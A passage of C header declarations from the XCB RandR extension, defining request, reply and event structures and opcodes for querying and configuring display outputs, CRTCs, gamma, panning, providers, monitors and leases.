xcb_randr_get_screen_resources_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; uint16_t num_crtcs; uint16_t num_outputs; uint16_t num_modes; uint16_t names_len; uint8_t pad1[8]; } xcb_randr_get_screen_resources_reply_t; typedef enum xcb_randr_connection_t { XCB_RANDR_CONNECTION_CONNECTED = 0, XCB_RANDR_CONNECTION_DISCONNECTED = 1, XCB_RANDR_CONNECTION_UNKNOWN = 2 } xcb_randr_connection_t; /** * @brief xcb_randr_get_output_info_cookie_t **/ typedef struct xcb_randr_get_output_info_cookie_t { unsigned int sequence; } xcb_randr_get_output_info_cookie_t; /** Opcode for xcb_randr_get_output_info. */ #define XCB_RANDR_GET_OUTPUT_INFO 9 /** * @brief xcb_randr_get_output_info_request_t **/ typedef struct xcb_randr_get_output_info_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_timestamp_t config_timestamp; } xcb_randr_get_output_info_request_t; /** * @brief xcb_randr_get_output_info_reply_t **/ typedef struct xcb_randr_get_output_info_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; xcb_randr_crtc_t crtc; uint32_t mm_width; uint32_t mm_height; uint8_t connection; uint8_t subpixel_order; uint16_t num_crtcs; uint16_t num_modes; uint16_t num_preferred; uint16_t num_clones; uint16_t name_len; } xcb_randr_get_output_info_reply_t; /** * @brief xcb_randr_list_output_properties_cookie_t **/ typedef struct xcb_randr_list_output_properties_cookie_t { unsigned int sequence; } xcb_randr_list_output_properties_cookie_t; /** Opcode for xcb_randr_list_output_properties. */ #define XCB_RANDR_LIST_OUTPUT_PROPERTIES 10 /** * @brief xcb_randr_list_output_properties_request_t **/ typedef struct xcb_randr_list_output_properties_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; } xcb_randr_list_output_properties_request_t; /** * @brief xcb_randr_list_output_properties_reply_t **/ typedef struct xcb_randr_list_output_properties_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t num_atoms; uint8_t pad1[22]; } xcb_randr_list_output_properties_reply_t; /** * @brief xcb_randr_query_output_property_cookie_t **/ typedef struct xcb_randr_query_output_property_cookie_t { unsigned int sequence; } xcb_randr_query_output_property_cookie_t; /** Opcode for xcb_randr_query_output_property. */ #define XCB_RANDR_QUERY_OUTPUT_PROPERTY 11 /** * @brief xcb_randr_query_output_property_request_t **/ typedef struct xcb_randr_query_output_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_atom_t property; } xcb_randr_query_output_property_request_t; /** * @brief xcb_randr_query_output_property_reply_t **/ typedef struct xcb_randr_query_output_property_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint8_t pending; uint8_t range; uint8_t immutable; uint8_t pad1[21]; } xcb_randr_query_output_property_reply_t; /** Opcode for xcb_randr_configure_output_property. */ #define XCB_RANDR_CONFIGURE_OUTPUT_PROPERTY 12 /** * @brief xcb_randr_configure_output_property_request_t **/ typedef struct xcb_randr_configure_output_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_atom_t property; uint8_t pending; uint8_t range; uint8_t pad0[2]; } xcb_randr_configure_output_property_request_t; /** Opcode for xcb_randr_change_output_property. */ #define XCB_RANDR_CHANGE_OUTPUT_PROPERTY 13 /** * @brief xcb_randr_change_output_property_request_t **/ typedef struct xcb_randr_change_output_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_atom_t property; xcb_atom_t type; uint8_t format; uint8_t mode; uint8_t pad0[2]; uint32_t num_units; } xcb_randr_change_output_property_request_t; /** Opcode for xcb_randr_delete_output_property. */ #define XCB_RANDR_DELETE_OUTPUT_PROPERTY 14 /** * @brief xcb_randr_delete_output_property_request_t **/ typedef struct xcb_randr_delete_output_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_atom_t property; } xcb_randr_delete_output_property_request_t; /** * @brief xcb_randr_get_output_property_cookie_t **/ typedef struct xcb_randr_get_output_property_cookie_t { unsigned int sequence; } xcb_randr_get_output_property_cookie_t; /** Opcode for xcb_randr_get_output_property. */ #define XCB_RANDR_GET_OUTPUT_PROPERTY 15 /** * @brief xcb_randr_get_output_property_request_t **/ typedef struct xcb_randr_get_output_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_atom_t property; xcb_atom_t type; uint32_t long_offset; uint32_t long_length; uint8_t _delete; uint8_t pending; uint8_t pad0[2]; } xcb_randr_get_output_property_request_t; /** * @brief xcb_randr_get_output_property_reply_t **/ typedef struct xcb_randr_get_output_property_reply_t { uint8_t response_type; uint8_t format; uint16_t sequence; uint32_t length; xcb_atom_t type; uint32_t bytes_after; uint32_t num_items; uint8_t pad0[12]; } xcb_randr_get_output_property_reply_t; /** * @brief xcb_randr_create_mode_cookie_t **/ typedef struct xcb_randr_create_mode_cookie_t { unsigned int sequence; } xcb_randr_create_mode_cookie_t; /** Opcode for xcb_randr_create_mode. */ #define XCB_RANDR_CREATE_MODE 16 /** * @brief xcb_randr_create_mode_request_t **/ typedef struct xcb_randr_create_mode_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_randr_mode_info_t mode_info; } xcb_randr_create_mode_request_t; /** * @brief xcb_randr_create_mode_reply_t **/ typedef struct xcb_randr_create_mode_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_randr_mode_t mode; uint8_t pad1[20]; } xcb_randr_create_mode_reply_t; /** Opcode for xcb_randr_destroy_mode. */ #define XCB_RANDR_DESTROY_MODE 17 /** * @brief xcb_randr_destroy_mode_request_t **/ typedef struct xcb_randr_destroy_mode_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_mode_t mode; } xcb_randr_destroy_mode_request_t; /** Opcode for xcb_randr_add_output_mode. */ #define XCB_RANDR_ADD_OUTPUT_MODE 18 /** * @brief xcb_randr_add_output_mode_request_t **/ typedef struct xcb_randr_add_output_mode_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_randr_mode_t mode; } xcb_randr_add_output_mode_request_t; /** Opcode for xcb_randr_delete_output_mode. */ #define XCB_RANDR_DELETE_OUTPUT_MODE 19 /** * @brief xcb_randr_delete_output_mode_request_t **/ typedef struct xcb_randr_delete_output_mode_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_output_t output; xcb_randr_mode_t mode; } xcb_randr_delete_output_mode_request_t; /** * @brief xcb_randr_get_crtc_info_cookie_t **/ typedef struct xcb_randr_get_crtc_info_cookie_t { unsigned int sequence; } xcb_randr_get_crtc_info_cookie_t; /** Opcode for xcb_randr_get_crtc_info. */ #define XCB_RANDR_GET_CRTC_INFO 20 /** * @brief xcb_randr_get_crtc_info_request_t **/ typedef struct xcb_randr_get_crtc_info_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; xcb_timestamp_t config_timestamp; } xcb_randr_get_crtc_info_request_t; /** * @brief xcb_randr_get_crtc_info_reply_t **/ typedef struct xcb_randr_get_crtc_info_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; int16_t x; int16_t y; uint16_t width; uint16_t height; xcb_randr_mode_t mode; uint16_t rotation; uint16_t rotations; uint16_t num_outputs; uint16_t num_possible_outputs; } xcb_randr_get_crtc_info_reply_t; /** * @brief xcb_randr_set_crtc_config_cookie_t **/ typedef struct xcb_randr_set_crtc_config_cookie_t { unsigned int sequence; } xcb_randr_set_crtc_config_cookie_t; /** Opcode for xcb_randr_set_crtc_config. */ #define XCB_RANDR_SET_CRTC_CONFIG 21 /** * @brief xcb_randr_set_crtc_config_request_t **/ typedef struct xcb_randr_set_crtc_config_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; int16_t x; int16_t y; xcb_randr_mode_t mode; uint16_t rotation; uint8_t pad0[2]; } xcb_randr_set_crtc_config_request_t; /** * @brief xcb_randr_set_crtc_config_reply_t **/ typedef struct xcb_randr_set_crtc_config_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; uint8_t pad0[20]; } xcb_randr_set_crtc_config_reply_t; /** * @brief xcb_randr_get_crtc_gamma_size_cookie_t **/ typedef struct xcb_randr_get_crtc_gamma_size_cookie_t { unsigned int sequence; } xcb_randr_get_crtc_gamma_size_cookie_t; /** Opcode for xcb_randr_get_crtc_gamma_size. */ #define XCB_RANDR_GET_CRTC_GAMMA_SIZE 22 /** * @brief xcb_randr_get_crtc_gamma_size_request_t **/ typedef struct xcb_randr_get_crtc_gamma_size_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; } xcb_randr_get_crtc_gamma_size_request_t; /** * @brief xcb_randr_get_crtc_gamma_size_reply_t **/ typedef struct xcb_randr_get_crtc_gamma_size_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t size; uint8_t pad1[22]; } xcb_randr_get_crtc_gamma_size_reply_t; /** * @brief xcb_randr_get_crtc_gamma_cookie_t **/ typedef struct xcb_randr_get_crtc_gamma_cookie_t { unsigned int sequence; } xcb_randr_get_crtc_gamma_cookie_t; /** Opcode for xcb_randr_get_crtc_gamma. */ #define XCB_RANDR_GET_CRTC_GAMMA 23 /** * @brief xcb_randr_get_crtc_gamma_request_t **/ typedef struct xcb_randr_get_crtc_gamma_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; } xcb_randr_get_crtc_gamma_request_t; /** * @brief xcb_randr_get_crtc_gamma_reply_t **/ typedef struct xcb_randr_get_crtc_gamma_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t size; uint8_t pad1[22]; } xcb_randr_get_crtc_gamma_reply_t; /** Opcode for xcb_randr_set_crtc_gamma. */ #define XCB_RANDR_SET_CRTC_GAMMA 24 /** * @brief xcb_randr_set_crtc_gamma_request_t **/ typedef struct xcb_randr_set_crtc_gamma_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; uint16_t size; uint8_t pad0[2]; } xcb_randr_set_crtc_gamma_request_t; /** * @brief xcb_randr_get_screen_resources_current_cookie_t **/ typedef struct xcb_randr_get_screen_resources_current_cookie_t { unsigned int sequence; } xcb_randr_get_screen_resources_current_cookie_t; /** Opcode for xcb_randr_get_screen_resources_current. */ #define XCB_RANDR_GET_SCREEN_RESOURCES_CURRENT 25 /** * @brief xcb_randr_get_screen_resources_current_request_t **/ typedef struct xcb_randr_get_screen_resources_current_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_screen_resources_current_request_t; /** * @brief xcb_randr_get_screen_resources_current_reply_t **/ typedef struct xcb_randr_get_screen_resources_current_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; uint16_t num_crtcs; uint16_t num_outputs; uint16_t num_modes; uint16_t names_len; uint8_t pad1[8]; } xcb_randr_get_screen_resources_current_reply_t; typedef enum xcb_randr_transform_t { XCB_RANDR_TRANSFORM_UNIT = 1, XCB_RANDR_TRANSFORM_SCALE_UP = 2, XCB_RANDR_TRANSFORM_SCALE_DOWN = 4, XCB_RANDR_TRANSFORM_PROJECTIVE = 8 } xcb_randr_transform_t; /** Opcode for xcb_randr_set_crtc_transform. */ #define XCB_RANDR_SET_CRTC_TRANSFORM 26 /** * @brief xcb_randr_set_crtc_transform_request_t **/ typedef struct xcb_randr_set_crtc_transform_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; xcb_render_transform_t transform; uint16_t filter_len; uint8_t pad0[2]; } xcb_randr_set_crtc_transform_request_t; /** * @brief xcb_randr_get_crtc_transform_cookie_t **/ typedef struct xcb_randr_get_crtc_transform_cookie_t { unsigned int sequence; } xcb_randr_get_crtc_transform_cookie_t; /** Opcode for xcb_randr_get_crtc_transform. */ #define XCB_RANDR_GET_CRTC_TRANSFORM 27 /** * @brief xcb_randr_get_crtc_transform_request_t **/ typedef struct xcb_randr_get_crtc_transform_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; } xcb_randr_get_crtc_transform_request_t; /** * @brief xcb_randr_get_crtc_transform_reply_t **/ typedef struct xcb_randr_get_crtc_transform_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_render_transform_t pending_transform; uint8_t has_transforms; uint8_t pad1[3]; xcb_render_transform_t current_transform; uint8_t pad2[4]; uint16_t pending_len; uint16_t pending_nparams; uint16_t current_len; uint16_t current_nparams; } xcb_randr_get_crtc_transform_reply_t; /** * @brief xcb_randr_get_panning_cookie_t **/ typedef struct xcb_randr_get_panning_cookie_t { unsigned int sequence; } xcb_randr_get_panning_cookie_t; /** Opcode for xcb_randr_get_panning. */ #define XCB_RANDR_GET_PANNING 28 /** * @brief xcb_randr_get_panning_request_t **/ typedef struct xcb_randr_get_panning_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; } xcb_randr_get_panning_request_t; /** * @brief xcb_randr_get_panning_reply_t **/ typedef struct xcb_randr_get_panning_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; uint16_t left; uint16_t top; uint16_t width; uint16_t height; uint16_t track_left; uint16_t track_top; uint16_t track_width; uint16_t track_height; int16_t border_left; int16_t border_top; int16_t border_right; int16_t border_bottom; } xcb_randr_get_panning_reply_t; /** * @brief xcb_randr_set_panning_cookie_t **/ typedef struct xcb_randr_set_panning_cookie_t { unsigned int sequence; } xcb_randr_set_panning_cookie_t; /** Opcode for xcb_randr_set_panning. */ #define XCB_RANDR_SET_PANNING 29 /** * @brief xcb_randr_set_panning_request_t **/ typedef struct xcb_randr_set_panning_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_crtc_t crtc; xcb_timestamp_t timestamp; uint16_t left; uint16_t top; uint16_t width; uint16_t height; uint16_t track_left; uint16_t track_top; uint16_t track_width; uint16_t track_height; int16_t border_left; int16_t border_top; int16_t border_right; int16_t border_bottom; } xcb_randr_set_panning_request_t; /** * @brief xcb_randr_set_panning_reply_t **/ typedef struct xcb_randr_set_panning_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; } xcb_randr_set_panning_reply_t; /** Opcode for xcb_randr_set_output_primary. */ #define XCB_RANDR_SET_OUTPUT_PRIMARY 30 /** * @brief xcb_randr_set_output_primary_request_t **/ typedef struct xcb_randr_set_output_primary_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_randr_output_t output; } xcb_randr_set_output_primary_request_t; /** * @brief xcb_randr_get_output_primary_cookie_t **/ typedef struct xcb_randr_get_output_primary_cookie_t { unsigned int sequence; } xcb_randr_get_output_primary_cookie_t; /** Opcode for xcb_randr_get_output_primary. */ #define XCB_RANDR_GET_OUTPUT_PRIMARY 31 /** * @brief xcb_randr_get_output_primary_request_t **/ typedef struct xcb_randr_get_output_primary_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_output_primary_request_t; /** * @brief xcb_randr_get_output_primary_reply_t **/ typedef struct xcb_randr_get_output_primary_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_randr_output_t output; } xcb_randr_get_output_primary_reply_t; /** * @brief xcb_randr_get_providers_cookie_t **/ typedef struct xcb_randr_get_providers_cookie_t { unsigned int sequence; } xcb_randr_get_providers_cookie_t; /** Opcode for xcb_randr_get_providers. */ #define XCB_RANDR_GET_PROVIDERS 32 /** * @brief xcb_randr_get_providers_request_t **/ typedef struct xcb_randr_get_providers_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_providers_request_t; /** * @brief xcb_randr_get_providers_reply_t **/ typedef struct xcb_randr_get_providers_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; uint16_t num_providers; uint8_t pad1[18]; } xcb_randr_get_providers_reply_t; typedef enum xcb_randr_provider_capability_t { XCB_RANDR_PROVIDER_CAPABILITY_SOURCE_OUTPUT = 1, XCB_RANDR_PROVIDER_CAPABILITY_SINK_OUTPUT = 2, XCB_RANDR_PROVIDER_CAPABILITY_SOURCE_OFFLOAD = 4, XCB_RANDR_PROVIDER_CAPABILITY_SINK_OFFLOAD = 8 } xcb_randr_provider_capability_t; /** * @brief xcb_randr_get_provider_info_cookie_t **/ typedef struct xcb_randr_get_provider_info_cookie_t { unsigned int sequence; } xcb_randr_get_provider_info_cookie_t; /** Opcode for xcb_randr_get_provider_info. */ #define XCB_RANDR_GET_PROVIDER_INFO 33 /** * @brief xcb_randr_get_provider_info_request_t **/ typedef struct xcb_randr_get_provider_info_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_timestamp_t config_timestamp; } xcb_randr_get_provider_info_request_t; /** * @brief xcb_randr_get_provider_info_reply_t **/ typedef struct xcb_randr_get_provider_info_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; uint32_t capabilities; uint16_t num_crtcs; uint16_t num_outputs; uint16_t num_associated_providers; uint16_t name_len; uint8_t pad0[8]; } xcb_randr_get_provider_info_reply_t; /** Opcode for xcb_randr_set_provider_offload_sink. */ #define XCB_RANDR_SET_PROVIDER_OFFLOAD_SINK 34 /** * @brief xcb_randr_set_provider_offload_sink_request_t **/ typedef struct xcb_randr_set_provider_offload_sink_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_randr_provider_t sink_provider; xcb_timestamp_t config_timestamp; } xcb_randr_set_provider_offload_sink_request_t; /** Opcode for xcb_randr_set_provider_output_source. */ #define XCB_RANDR_SET_PROVIDER_OUTPUT_SOURCE 35 /** * @brief xcb_randr_set_provider_output_source_request_t **/ typedef struct xcb_randr_set_provider_output_source_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_randr_provider_t source_provider; xcb_timestamp_t config_timestamp; } xcb_randr_set_provider_output_source_request_t; /** * @brief xcb_randr_list_provider_properties_cookie_t **/ typedef struct xcb_randr_list_provider_properties_cookie_t { unsigned int sequence; } xcb_randr_list_provider_properties_cookie_t; /** Opcode for xcb_randr_list_provider_properties. */ #define XCB_RANDR_LIST_PROVIDER_PROPERTIES 36 /** * @brief xcb_randr_list_provider_properties_request_t **/ typedef struct xcb_randr_list_provider_properties_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; } xcb_randr_list_provider_properties_request_t; /** * @brief xcb_randr_list_provider_properties_reply_t **/ typedef struct xcb_randr_list_provider_properties_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t num_atoms; uint8_t pad1[22]; } xcb_randr_list_provider_properties_reply_t; /** * @brief xcb_randr_query_provider_property_cookie_t **/ typedef struct xcb_randr_query_provider_property_cookie_t { unsigned int sequence; } xcb_randr_query_provider_property_cookie_t; /** Opcode for xcb_randr_query_provider_property. */ #define XCB_RANDR_QUERY_PROVIDER_PROPERTY 37 /** * @brief xcb_randr_query_provider_property_request_t **/ typedef struct xcb_randr_query_provider_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_atom_t property; } xcb_randr_query_provider_property_request_t; /** * @brief xcb_randr_query_provider_property_reply_t **/ typedef struct xcb_randr_query_provider_property_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint8_t pending; uint8_t range; uint8_t immutable; uint8_t pad1[21]; } xcb_randr_query_provider_property_reply_t; /** Opcode for xcb_randr_configure_provider_property. */ #define XCB_RANDR_CONFIGURE_PROVIDER_PROPERTY 38 /** * @brief xcb_randr_configure_provider_property_request_t **/ typedef struct xcb_randr_configure_provider_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_atom_t property; uint8_t pending; uint8_t range; uint8_t pad0[2]; } xcb_randr_configure_provider_property_request_t; /** Opcode for xcb_randr_change_provider_property. */ #define XCB_RANDR_CHANGE_PROVIDER_PROPERTY 39 /** * @brief xcb_randr_change_provider_property_request_t **/ typedef struct xcb_randr_change_provider_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_atom_t property; xcb_atom_t type; uint8_t format; uint8_t mode; uint8_t pad0[2]; uint32_t num_items; } xcb_randr_change_provider_property_request_t; /** Opcode for xcb_randr_delete_provider_property. */ #define XCB_RANDR_DELETE_PROVIDER_PROPERTY 40 /** * @brief xcb_randr_delete_provider_property_request_t **/ typedef struct xcb_randr_delete_provider_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_atom_t property; } xcb_randr_delete_provider_property_request_t; /** * @brief xcb_randr_get_provider_property_cookie_t **/ typedef struct xcb_randr_get_provider_property_cookie_t { unsigned int sequence; } xcb_randr_get_provider_property_cookie_t; /** Opcode for xcb_randr_get_provider_property. */ #define XCB_RANDR_GET_PROVIDER_PROPERTY 41 /** * @brief xcb_randr_get_provider_property_request_t **/ typedef struct xcb_randr_get_provider_property_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_provider_t provider; xcb_atom_t property; xcb_atom_t type; uint32_t long_offset; uint32_t long_length; uint8_t _delete; uint8_t pending; uint8_t pad0[2]; } xcb_randr_get_provider_property_request_t; /** * @brief xcb_randr_get_provider_property_reply_t **/ typedef struct xcb_randr_get_provider_property_reply_t { uint8_t response_type; uint8_t format; uint16_t sequence; uint32_t length; xcb_atom_t type; uint32_t bytes_after; uint32_t num_items; uint8_t pad0[12]; } xcb_randr_get_provider_property_reply_t; /** Opcode for xcb_randr_screen_change_notify. */ #define XCB_RANDR_SCREEN_CHANGE_NOTIFY 0 /** * @brief xcb_randr_screen_change_notify_event_t **/ typedef struct xcb_randr_screen_change_notify_event_t { uint8_t response_type; uint8_t rotation; uint16_t sequence; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; xcb_window_t root; xcb_window_t request_window; uint16_t sizeID; uint16_t subpixel_order; uint16_t width; uint16_t height; uint16_t mwidth; uint16_t mheight; } xcb_randr_screen_change_notify_event_t; typedef enum xcb_randr_notify_t { XCB_RANDR_NOTIFY_CRTC_CHANGE = 0, XCB_RANDR_NOTIFY_OUTPUT_CHANGE = 1, XCB_RANDR_NOTIFY_OUTPUT_PROPERTY = 2, XCB_RANDR_NOTIFY_PROVIDER_CHANGE = 3, XCB_RANDR_NOTIFY_PROVIDER_PROPERTY = 4, XCB_RANDR_NOTIFY_RESOURCE_CHANGE = 5, XCB_RANDR_NOTIFY_LEASE = 6 } xcb_randr_notify_t; /** * @brief xcb_randr_crtc_change_t **/ typedef struct xcb_randr_crtc_change_t { xcb_timestamp_t timestamp; xcb_window_t window; xcb_randr_crtc_t crtc; xcb_randr_mode_t mode; uint16_t rotation; uint8_t pad0[2]; int16_t x; int16_t y; uint16_t width; uint16_t height; } xcb_randr_crtc_change_t; /** * @brief xcb_randr_crtc_change_iterator_t **/ typedef struct xcb_randr_crtc_change_iterator_t { xcb_randr_crtc_change_t *data; int rem; int index; } xcb_randr_crtc_change_iterator_t; /** * @brief xcb_randr_output_change_t **/ typedef struct xcb_randr_output_change_t { xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; xcb_window_t window; xcb_randr_output_t output; xcb_randr_crtc_t crtc; xcb_randr_mode_t mode; uint16_t rotation; uint8_t connection; uint8_t subpixel_order; } xcb_randr_output_change_t; /** * @brief xcb_randr_output_change_iterator_t **/ typedef struct xcb_randr_output_change_iterator_t { xcb_randr_output_change_t *data; int rem; int index; } xcb_randr_output_change_iterator_t; /** * @brief xcb_randr_output_property_t **/ typedef struct xcb_randr_output_property_t { xcb_window_t window; xcb_randr_output_t output; xcb_atom_t atom; xcb_timestamp_t timestamp; uint8_t status; uint8_t pad0[11]; } xcb_randr_output_property_t; /** * @brief xcb_randr_output_property_iterator_t **/ typedef struct xcb_randr_output_property_iterator_t { xcb_randr_output_property_t *data; int rem; int index; } xcb_randr_output_property_iterator_t; /** * @brief xcb_randr_provider_change_t **/ typedef struct xcb_randr_provider_change_t { xcb_timestamp_t timestamp; xcb_window_t window; xcb_randr_provider_t provider; uint8_t pad0[16]; } xcb_randr_provider_change_t; /** * @brief xcb_randr_provider_change_iterator_t **/ typedef struct xcb_randr_provider_change_iterator_t { xcb_randr_provider_change_t *data; int rem; int index; } xcb_randr_provider_change_iterator_t; /** * @brief xcb_randr_provider_property_t **/ typedef struct xcb_randr_provider_property_t { xcb_window_t window; xcb_randr_provider_t provider; xcb_atom_t atom; xcb_timestamp_t timestamp; uint8_t state; uint8_t pad0[11]; } xcb_randr_provider_property_t; /** * @brief xcb_randr_provider_property_iterator_t **/ typedef struct xcb_randr_provider_property_iterator_t { xcb_randr_provider_property_t *data; int rem; int index; } xcb_randr_provider_property_iterator_t; /** * @brief xcb_randr_resource_change_t **/ typedef struct xcb_randr_resource_change_t { xcb_timestamp_t timestamp; xcb_window_t window; uint8_t pad0[20]; } xcb_randr_resource_change_t; /** * @brief xcb_randr_resource_change_iterator_t **/ typedef struct xcb_randr_resource_change_iterator_t { xcb_randr_resource_change_t *data; int rem; int index; } xcb_randr_resource_change_iterator_t; /** * @brief xcb_randr_monitor_info_t **/ typedef struct xcb_randr_monitor_info_t { xcb_atom_t name; uint8_t primary; uint8_t automatic; uint16_t nOutput; int16_t x; int16_t y; uint16_t width; uint16_t height; uint32_t width_in_millimeters; uint32_t height_in_millimeters; } xcb_randr_monitor_info_t; /** * @brief xcb_randr_monitor_info_iterator_t **/ typedef struct xcb_randr_monitor_info_iterator_t { xcb_randr_monitor_info_t *data; int rem; int index; } xcb_randr_monitor_info_iterator_t; /** * @brief xcb_randr_get_monitors_cookie_t **/ typedef struct xcb_randr_get_monitors_cookie_t { unsigned int sequence; } xcb_randr_get_monitors_cookie_t; /** Opcode for xcb_randr_get_monitors. */ #define XCB_RANDR_GET_MONITORS 42 /** * @brief xcb_randr_get_monitors_request_t **/ typedef struct xcb_randr_get_monitors_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint8_t get_active; } xcb_randr_get_monitors_request_t; /** * @brief xcb_randr_get_monitors_reply_t **/ typedef struct xcb_randr_get_monitors_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_timestamp_t timestamp; uint32_t nMonitors; uint32_t nOutputs; uint8_t pad1[12]; } xcb_randr_get_monitors_reply_t; /** Opcode for xcb_randr_set_monitor. */ #define XCB_RANDR_SET_MONITOR 43 /** * @brief xcb_randr_set_monitor_request_t **/ typedef struct xcb_randr_set_monitor_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_set_monitor_request_t; /** Opcode for xcb_randr_delete_monitor. */ #define XCB_RANDR_DELETE_MONITOR 44 /** * @brief xcb_randr_delete_monitor_request_t **/ typedef struct xcb_randr_delete_monitor_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_atom_t name; } xcb_randr_delete_monitor_request_t; /** * @brief xcb_randr_create_lease_cookie_t **/ typedef struct xcb_randr_create_lease_cookie_t { unsigned int sequence; } xcb_randr_create_lease_cookie_t; /** Opcode for xcb_randr_create_lease. */ #define XCB_RANDR_CREATE_LEASE 45 /** * @brief xcb_randr_create_lease_request_t **/ typedef struct xcb_randr_create_lease_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_randr_lease_t lid; uint16_t num_crtcs; uint16_t num_outputs; } xcb_randr_create_lease_request_t; /** * @brief xcb_randr_create_lease_reply_t **/ typedef struct xcb_randr_create_lease_reply_t { uint8_t response_type; uint8_t nfd; uint16_t sequence; uint32_t length; uint8_t pad0[24]; } xcb_randr_create_lease_reply_t; /** Opcode for xcb_randr_free_lease. */ #define XCB_RANDR_FREE_LEASE 46 /** * @brief xcb_randr_free_lease_request_t **/ typedef struct xcb_randr_free_lease_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_randr_lease_t lid; uint8_t terminate; } xcb_randr_free_lease_request_t; /** * @brief xcb_randr_lease_notify_t **/ typedef struct xcb_randr_lease_notify_t { xcb_timestamp_t timestamp; xcb_window_t window; xcb_randr_lease_t lease; uint8_t created; uint8_t pad0[15]; } xcb_randr_lease_notify_t; /** * @brief xcb_randr_lease_notify_iterator_t **/ typedef struct xcb_randr_lease_notify_iterator_t { xcb_randr_lease_notify_t *data; int rem; int index; } xcb_randr_lease_notify_iterator_t; /** * @brief xcb_randr_notify_data_t **/ typedef union xcb_randr_notify_data_t { xcb_randr_crtc_change_t cc; xcb_randr_output_change_t oc; 